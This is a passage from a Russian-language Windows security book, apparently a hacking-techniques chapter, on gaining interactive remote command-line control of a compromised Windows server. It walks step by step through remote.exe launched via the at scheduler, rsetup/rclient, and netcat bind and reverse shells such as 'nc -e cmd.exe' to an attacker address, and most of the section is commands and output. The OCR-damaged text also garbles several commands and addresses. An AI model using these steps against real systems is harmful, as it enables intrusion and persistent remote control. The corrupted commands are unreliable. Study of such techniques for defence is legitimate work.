На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Переход к интерактивному режиму работы

После того как злоумышленник получает доступ к системе Windows с правами админист­ратора, немногое можно сделать для противодействия вторжению. Редко бывает, что взломщик удовлетворяется получением прав администратора и вежливо уходит. Размер ущерба, который может нанести злоумышленник, зависит от множества факторов. .
Главный фактор, который определяет степень контроля хакера над скомпрометированной системой,— это уровень его привилегий в этой системе. В обычном сервере Win­dows Server 2003 существует множество различных прав доступа, но только три пользователя играют основную роль: администратор домена, администратор системы И пользователь сис­темы. Самым распространенным методом взлома систем под управлением Windows является подбор пароля пользователя. При поборе чаще всего используют пустой пароль, слова pass­word или lest либо имя системы.
Администраторы систем Windows прежде всего стремятся максимально защитить от ком­прометации учетные записи с правами администратора системы или домена. Хакинг похож на битву желаний и терпения, поэтому если система Windows грамотно защищена, обычный хакер может прекратить бесплодные попытки и перейти к поиску более легкой цели: приви­легий пользователя.
Хотя с точки зрения хакера возможности обычного пользователя в системе весьма огра­ничены, но настоящие атаки не совершаются ради баловства. Опытный хакер сможет расши­рить свои привилегии на взломанной системе (конечно, при наличии возможности и уязви­мого места) и завладеть правами администратора или правами с близким к администратор­скому набором привилегий. Следует внимательно контролировать все привилегированные учетные записи и отслеживать то, как их наличие влияет на систему защиты и принятые по­литики контроля.
В любом случае, злоумышленник почти всегда пытается перейти к интерактивной работе с системой. Интерактивный режим работы дает возможность наблюдать за работой системы из­нутри, выполнять любые команды так, как будто человек физически находится за терминалом сис­темы. В мире Windows этого можно достичь одним из двух способов: через интерфейс командной строки, такой как подключение через telnet, или через графический интерфейс, такой как у программ Remote PC, Microsoft Terminal Server или аналогичных программ других производите­лей для удаленного управления, например PCAnywhcre или Virtual Network Computing.
Управление через командную строку
Хотите верьте, хотите нет, но еще не так давно (в 1990-х гт.) многие люди верили, что сис­темы Windows безопаснее систем UNIX потому, что "в Windows вы не можете получить доступ к командной строке". Что ж, мы покажем, что это миф. Как и в системах Unix, управлять Windows NT/2000 через командную строку вполне реально.
Трудно сказать, сколько администраторов по-настоящему оценивают важность защиты Win­dows от попыток взлома удаленного взлома через командную строку. Большинство из них пребы­вают в ложной уверенности, что системой Windows невозможно управлять через командную стро­ку. Не попадитесь в эту ловушку. Существует несколько способов получения удаленного доступа к командной строке Windows-систем, у каждого из этих способов есть свои достоинства и недос­татки, которые необходимо учитывать в каждой конкретной ситуации.
Пакеты программ Resource Kit Windows NT/2000 содержат все программы, необходимые для хакинга с помощью командной строки. Как вы узнаете, для удаленного управления сис­темой обычно требуются дае стороны: клиент и сервер. Сначала необходимо установить при­ложение-сервер, которое работает как служба и ждет удаленного подключения. Затем клиент подключается к ожидающей связи службе и производит обмен данными, необходимый для интерактивного управления.


remote.exe

 

 

 

Популярность \

7

 

Простота

7

 

 

Опасность '

9

 

 

Степень риска

8

 

 

Как и большинство утилит, описанных в этой книге, программа remote. exe поставляет­ся в пакете Windows NT/2000 Resource Kit. Утилиту remote. exe можно запускать В режиме сервера или клиента. Чтобы использовать ее для управления атакуемой системой Windows че­рез командную строку, необходимо выполнить следующие действия.
1- Подключиться к атакуемой системе с правами администратора.
C:\>net use \\192.168.0.5\ipc$ password /«:administrator
2. Смонтировать диск в совместно используемый ресурс администратора С$.
C:\>net use * \\192-ies.0.5\c$
Drive D:   is now connected to W192 .168 . 0. 5\c$ . The command completed successfully.
НА ЗАМЕТКУ
Если такие совместно используемые ресурсы, как с$, недоступны, для созда­ния ресурса можно применить нулевой сеанс и программу наподобие svrmgr. exe из пакета Resource Kit.
Скопируйте программу remote. exe в каталог на атакуемой системе. С:\>сору remote.site d:\winnt\Bystejo32
Для запуска службы планировщика в системе Windows Server 2003 вызовите команду sc (можно воспользоваться и другой программой удаленного управления службами). Планировщик запускается по умолчанию во время загрузки системы, если при уста­новке не были изменены параметры по умолчанию. Эта команда гарантирует его за­пуск на всякий случай.
C:\>so U192.168.Q.5 etart schedule
SERVICE_NAME: schedule
TYPE :   2 0    WIM32_SHARE_PROCESS
STATE (  2    START_PBNDIHG
ywibT
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE SERVICE_EXIT_CODE CHECKPOINT WAIT HINT
0 (0x0] 0 (0x0] 0x0 0x7d0
-
5. Определите текущее время на удаленной системе.
C:\>net time \\192.168.0.5
Current time at U192.168.0.5 is 6/30/2003  10:06 AM The command completed successfully.
Используйте команду at для планирования запуска программы remote. exe в режи­ме сервера.
C:\>at \\192.168.0.5 lOslOA "■remote /s cmd hacksarvic*"■
Added a new job with job id - 1
HA ЗАМЕТКУ
Строка hackservice — это произвольное имя, которое злоумышленник в дальнейшем использует для подключения к сеансу работы.
7. Проверьте, была ли запущена программа remote. exe с помощью команды at. C:\>at W192.168.0.5
Status ID   Day Time Command Line
1    Today        10:10 AM      remote /s cmd hackservice
8. Подключитесь к атакуемой системе с помощью программы remote. exe , запущенной в режиме клиента.
C:\>remote /а 10.1.1.5 hackwin
**************************************
*********** remote ************
*********** CLIENT ************
**************************************
Connected..
Microsoft(R)  Windows NT(TM) (C)  Copyright 1985-1998 Microsoft Corp.
C:\>ipconfig
Windows 2000 IP configuration Ethernet adapter LAN:
Connection-specific DNS suffix
ip Address...........
Subnet Mask ..........
Default Gateway........
192.168.0.5 255.255.255.0 192.168.0.1
C:\>9q
НА ЗАМЕТКУ
Поскольку удаленный сеанс работы с сервером запускается через планиров­щик, он выполняется в контексте учетной записи system, но не имеет в мар­кере доступа идентификатора SID interactive (маркеры доступа, иденти­фикатор interactive и учетная запись system описаны в главе 2, "Архитектура системы безопасности Windows Server 2003"). По этой причине некоторые команды, требующие интерактивного доступа, через запущенный таким образом сеанс работы выполнить не удастся.
Утилита remote.exe может использовать в качестве транспортных протоколов как IPX или NetBEUI, так и TCP/IP. Другими словами, с ее помощью можно установить связь между машинами, которые поддерживают только протокол IPX.
Чтобы узнать, не создал ли кто-нибудь потайного хода в вашу систему, можно воспользо­ваться программой pipel ist производства компании Sysinternals, которая выводит перечень всех использованных именованных каналов (1).
Листинг 7.1. Л^Шнение:п|Щ^ммы. pijpelia
С:\tools>pipeliat
PipeList vl.01 by Mark Russinovich


htер://www.sysinternals

com

 

Pipe Name

Instances

Max

2nitShutdown

2

-1

lsass

3

-1

tapsrv

2

-1

ROUTER

7

-1

WMIEP_3dc

2

-1

WMIEP_la8

2

-1

Spooler\LPTl

10

-1

WMIEP_2c4

2

-1

hackwinOUT

H

-1

hackwinIN

 

-1

 

 

 

Max Instances
Удаленная консоль


Популярность

4

 

Простота

9

 

Опасность

9

 

Степень риска

7

 

 

Теперь мы знаем, что удаленное управление системой Windows является несложной зада­чей при использовании утилиты remote . exe. Но для применения первого метода требуется скопировать файл на удаленную систему и запустить его с помощью команд at или soon. Рассмотрим другой способ, в котором программы сделают самостоятельно всю трудную рабо­ту. И здесь также все, что нужно, можно найти в пакете Windows NT/2000 Resource Kit.
1. Прежде всего, необходимо установить сеанс работы с атакуемой системой с правами администратора. Как мы уже знаем, это делается с помощью следующей команды.
C:\snet иве \\192.168.0.5\ipcS password /иiadministrator
The command completed successfully.
2. Теперь нужно просто запустить команду для установки удаленного сервера (rsetup).
C:\>rsetup U192.168.0.5
RSETUP 2.02 @1996-9B.  Written by Christophe Robert - Microsoft.
Connecting to registry of \\192.168.0 . 5 ... Checking existence of service RCONSVC ... Copying file RCLIENT.EXE ... Copying file RCONMODE.EXE „ Copying file RCONMSG.DLL ... Copying file RCONSTAT.EXE ... Copying file RCONSVC.EXE ... Copying file RCRUNCMD.EXE ... Copying file RSETUP . EXE .„ Opening Service Control Manager ... Installing Remote Console Service ... Registering Remote Console service event sources Getting domain information ...
Remote Console has been successfully installed on \\ 192 .168.0.5. Starting service RCONSVC on \\192.168 . 0.5 .... started.
3. В результате все необходимые файлы будут скопированы в каталог \%syBce.-nroot%\ system32 удаленной машины, и будет выполнена установка либо обновление службы rconsvc. Теперь осталось лишь запустить клиентскую программу rclient.
C:\=-rclient W192.168 .0.5
С: \WINNT\system32>ipconf ig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix    . :
IP Address............ : 192.168.0.5
Subnet Mask ........... : 255.255.255.0
Default Gateway ......... : 192,168.0.1
C:\WINNT\sy5tem32>
4. Теперь должно появиться приглашение на ввод команды от удаленной системы. С по­мощью команды exit можно закрыть rclient-сосдинение. Этот метод особенно опасен, ведь вес действия настолько просты, что появиться множество желающих про­верить его на практике против своих недругов.
Кроме того, обратите внимание, что атака с помощью программ rsetup/rclient предоставляет только доступ уровня администратора, а не доступ от имени учетной за­писи SYSTEM, как было при использовании remote/at,
С:\WINDOWS\system32> ipconfig Windows IP Configuration
Ethernet adapter Local Area Connection: Connection-specific DNS Suffix .   : example.com
IP Address............: 192.168.0.5
Subnet Mask ........... : 255.255.255.0
Default Gateway ......... : 192.168.0.1
C:\WINDOWS\syste-m32> whoami he-w2K3\adrainistrator
Дело в том, что мы запускаем сервер rsetup с полученными привилегиями (администратора), а не с привилегиями команды at (SYSTEM). При взломе с правами администратора хакер получает немного ограниченные привилегии, но атака все рав­но довольно эффективна.
Консоль netcat
Утилита netcat — это программа с тысячей разных возможностей, в том числе ее можно использовать для получения удаленного управления системой через командную строку. Су­ществует два основных метода. При работе по первому методу программа netcat использу­ется в режиме ожидания соединения и должна быть запущена на атакуемом сервере.
С:\>пс -Ь -П -р 2000 -е crad.exe
Обратите внимание, что затем потребуется подключиться к программе netcat на удален­ной системе через порт 2000.
С:\>пс 192.168.0-5 2000
Microsoft Windows 2000   [Version 5.00.2195]
(С) Copyright 1985-1999 Microsoft Corp.
С: V^-ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix
IP Address............
Subnet Mask............
Default Gateway .........
192.168.0.5 255.255.255.0 192.168.0.1
Кроме того, привилегии, получаемые при использовании netcat, зависят от привилегий запускающего ее пользователя (в нашем случае это администратор).
С:\WINDOWS\system32>whoami whoami
he-w2k3Administrator
НА ЗАМЕТКУ
При использовании приглашения на ввод команды netcat в интерактивном режиме вы получите "эхо" в виде оригинальной команды (как показано в пре­дыдущем фрагменте листинга для команды whoami).
Для работы по второму методу необходимо выполнить следуюшие действия.
1. Запустить программу netcat, чтобы перенаправить командный интерпретатор в окно ожидающей соединения программы netcat. Сначала необходимо запустить утилиту netcat в режиме ожидания соединения.
С:\>пс -1 -р 3000 -nw
2. Теперь нужно выполнить команду netcat на удаленной системе, чтобы получить дос­туп к командному интерпретатору этой удаленной системы.
С:\>пс -е cmd.exe -п 10.1.1.2 3000
3. Переключившись теперь на программу netcat, ожидающую подключения, вы долж­ны увидеть следующее сообщение.
listening on  [any]   3000   ...
connect to   [192.168.0.2]   from   (UNKNOWN)   [192.168.0.5] 2537 Microsoft Windows 2000  [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp.
C:\>
И снова вас ожидает готовое к работе окно с командной строкой удаленной системы.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика